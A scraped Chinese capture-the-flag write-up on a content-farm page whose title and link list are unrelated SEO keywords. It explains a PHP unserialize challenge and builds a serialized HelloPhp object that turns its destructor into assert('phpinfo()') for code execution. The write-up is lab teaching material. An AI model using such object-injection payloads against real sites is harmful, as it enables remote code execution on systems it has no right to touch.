当前位置: 首页 > news >正文

广州贸易网站茶叶企业网站源码

广州贸易网站,茶叶企业网站源码,如何建设传奇网站,网站出现风险如何处理进入靶场 吓我一跳 查看源码 点击 审计 <?php// 定义一个名为 HelloPhp 的类&#xff0c;该类可能用于执行与日期格式化相关的操作 class HelloPhp {// 定义一个公共属性 $a&#xff0c;用于存储日期格式化的模板public $a;// 定义一个公共属性 $b&#xff0c;用于存储…

进入靶场

吓我一跳

查看源码

点击

审计

<?php// 定义一个名为 HelloPhp 的类,该类可能用于执行与日期格式化相关的操作
class HelloPhp
{// 定义一个公共属性 $a,用于存储日期格式化的模板public $a;// 定义一个公共属性 $b,用于存储要调用的函数名public $b;// 构造函数,当创建 HelloPhp 类的对象时会自动调用public function __construct(){// 将日期格式化模板 "Y-m-d h:i:s" 赋值给属性 $a// "Y-m-d h:i:s" 表示年-月-日 时:分:秒 的格式$this->a = "Y-m-d h:i:s";// 将 PHP 的日期函数名 "date" 赋值给属性 $b$this->b = "date";}// 析构函数,当对象被销毁时会自动调用public function __destruct(){// 将属性 $a 的值赋给局部变量 $a$a = $this->a;// 将属性 $b 的值赋给局部变量 $b$b = $this->b;// 调用以 $b 为函数名的函数,并将 $a 作为参数传递给该函数// 由于 $b 为 "date",$a 为日期格式化模板,所以这里实际上是调用 date 函数进行日期格式化// 最后将格式化后的日期字符串输出echo $b($a);}
}// 创建一个 HelloPhp 类的对象 $c
$c = new HelloPhp;// 检查 $_GET 超全局数组中是否存在名为 'source' 的参数
if (isset($_GET['source'])) {// 如果存在 'source' 参数,则使用 highlight_file 函数高亮显示当前 PHP 文件的源代码highlight_file(__FILE__);// 终止脚本的执行,并返回状态码 0die(0);
}// 使用 @ 符号抑制可能出现的错误信息
// 尝试对 $_GET 超全局数组中名为 "data" 的参数进行反序列化操作
// 并将反序列化后的结果赋值给变量 $ppp
@$ppp = unserialize($_GET["data"]);

我们需要通过get方式传参给data参数,并进行序列化操作

同时b包括函数名,a包括对应参数

system() 是 PHP 中的一个函数,其作用是执行外部程序,并将执行结果输出

但尝试了不行,换一个

assert() 函数在 PHP 中既可以用于调试和检查条件是否成立,也可以将传入的参数当作 PHP 代码来执行

此处就是利用了他的第二个性质

phpinfo() 函数用于输出 PHP 的配置信息

<?php
class HelloPhp
{public $a = "phpinfo()";public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
?> 

O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo()";s:1:"b";s:6:"assert";}

 

 

 

http://www.yayakq.cn/news/701433/

相关文章:

  • 网站优化报表wordpress flash主题
  • 一个公司可以做多少个网站wordpress相关推荐插件
  • 天津网站建设电焊机做代刷网站赚钱不
  • 余志国外贸网站建设网站备案 拍照
  • 长沙企业网站开发网站全局搜索
  • 四川高速公路建设开发集团有限公司网站百度收录网站入口
  • iframe框架做网站网站建设晋丰
  • wordpress制作小说网站模板百度竞价收费标准
  • 东莞做创意网站网站建设淘宝属于什么类目
  • 邯郸做网站推广的公司开公司怎么做网站
  • wordpress get_usermeta东莞网站优化一般多少钱
  • 免费网站代码大全网站策划师
  • 图床网站怎么做中国建设银行国际互联网网站
  • 番禺网站建设设计自做业务网站
  • 做任务赚q币的网站美图网
  • 浙江做网站平台的科技公司百度seo排名如何提升
  • html做简单网站实例seo服务器多ip
  • 关于网站建设的论文题目如何宣传推广自己品牌
  • 网站登录页面空白宁波网站建设公司地址
  • wordpress网站做h5分类秦皇岛 网站建设
  • 山东淄博微信网站制作深圳 购物网站
  • 公司做网站网站开发技术期中试题
  • 江苏外贸网站建设推广企业网站规划原则
  • 做网站的花费wordpress相关文章推荐
  • 手机网站分类菜单辽宁大连最新消息今天
  • 什么网站动物和人做的吗自助网站建设推广优化策略
  • 网站维护需要多长时间做付费网站
  • 青岛网站开发公司电话做cpa网站
  • 计算机应用技术与php网站开发erp是什么办公软件
  • 兴义市住房和城乡建设网站月销售网页制作指南